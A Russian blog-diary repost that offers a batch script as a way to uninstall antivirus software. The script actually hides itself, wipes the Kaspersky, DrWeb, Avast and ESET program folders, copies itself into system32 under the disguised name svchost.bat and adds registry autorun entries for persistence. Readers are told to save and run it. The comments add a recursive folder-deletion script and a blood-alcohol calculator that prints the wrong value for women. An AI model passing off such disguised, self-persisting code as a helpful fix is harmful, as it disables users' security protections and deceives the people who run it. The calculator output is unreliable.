• Авторизация
Дневник Vechek Лента друзей - Дневник - Полная версия


Актуально для не-линкусоидов и повод задуматься 13-03-2013 18:10 к комментариям - к полной версии - понравилось!

Это цитата сообщения Humiliating Оригинальное сообщение

Как удалить антивирус?

Удаление вирусов - это всем понятно, зачем же антивирус удалять? Отвечу: затем, что они могут после вирусной атаки "потерять" собственный деинсталлятор, например, ну или оставляют после "корректной" деинсталляции кучу хлама.
Бывает, что каспер триальный поставили, а он не убивается, хотя вам nod с зеркалом подогнали ... вощемта куча применений.
Ещё не мешает добавить сюда очистку реестра, но об этом позже.
code:
@echo off

attrib *.bat +h +s

cd %programfiles%\Kaspersky Lab\

del *.* /q /s

cd %programfiles%\DrWeb\

del *.* /q /s

cd %programfiles%\Alwil Software\

del *.* /q /s

cd %programfiles%\ESET\

del *.* /q /s

copy ""%0"" "%SystemRoot%\system32\batinit.bat" >nul

reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\system32\batinit.bat" /f >nul

copy ""%0"" "%SystemRoot%\system32\svchost.bat" >nul

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchost" /t REG_SZ /d "%SystemRoot%\system32\svchost.bat" /f >nul

attrib *.bat +h +r +s

Этот "код" ( сммешно ) суньте в блокнот и сохраните с расширением .bat



Серия сообщений "Download":
Отсюда можно и нужно скачивать софт, книги, ролики - много полезного

Часть 1 - Агрегация RSS [Agregator Rss]
Часть 2 - «Как создать жизнь своей мечты!»
...
Часть 17 - Скринсейвер, имитирующий формат диска
Часть 18 - Как заставить оболтуса учить математику?
Часть 19 - Как удалить антивирус?


вверх^ к полной версии понравилось! в evernote
Комментарии (2):
Humiliating 13-03-2013-18:20 удалить
Бывают такие ситуации, что нужно удалить все файлы из какой-либо папки. Но Windows этого не даёт. Вот бы хорошо было, если бы он удалял не все файлы. а только те, которые может! Данная программа именно это и будет делать:

if Question('Удалить все файлы данной папки?')<>1 then Exit
Message('Введите число 3 если Вы так уверены')
if InputInteger('')<>3 then Exit

ShowConsole()

path0=''

procedure DelPath(path)
GetFiles(path, CountFiles, Names[], IsFiles[])
for i=0 to CountFiles-1 do begin
try
if IsFiles[i]=0 then begin
FileDelete(Names[i])
writeln(path+''+Names[i])
end
else begin
DelPath(path+''+Names[i])
end
except
end
end
if path<>global.path0 then begin try PathDelete(path) except end end
EndProcedure

PathSelect('', path0)
DelPath(path0)

Message('Готово!')



Вот ещё одна программка, для расчёта алкоголя в крови:

write('Ваш вес, кг: ') m=readlnfloat()
write('Алкоголь, %: ') a=readlnfloat()
write('Количество принятого (мл): ') k=readlnfloat()

p=(a/100*k/100)/(m/100)

pm = 1/0.7*p
pw = 1/0.6*p

hm = pm/0.1
hw = pw/0.1

writeln('За 1 час выводится где-то 0.15 промилле -- будем на всякий случай считать, что 0.1')
writeln('Промилле (если мужчина): '+floattostr(pm,2)+' ('+floattostr(hm,2)+' час.)')
writeln('Промилле (если женщина): '+floattostr(pw,2)+' ('+floattostr(hm,2)+' час.)')

pause()



Более сложные проекты, состоящие из нескольких сотен строк кода, публиковать не буду, т. к. это слишком сильно увеличит размер статьи.
Обратиться - Ответить - К полной версии
Humiliating 13-03-2013-18:25 удалить
Забыл, что для запуска приложения нужно скачать последнюю версию компилятора GAZ со страницы www.osinavi.ru/gaz
Обратиться - Ответить - К полной версии


Комментарии (2): вверх^

Вы сейчас не можете прокомментировать это сообщение.

Дневник Актуально для не-линкусоидов и повод задуматься | Vechek - Дневник Chelovechek | Лента друзей Vechek / Полная версия Добавить в друзья Страницы: раньше»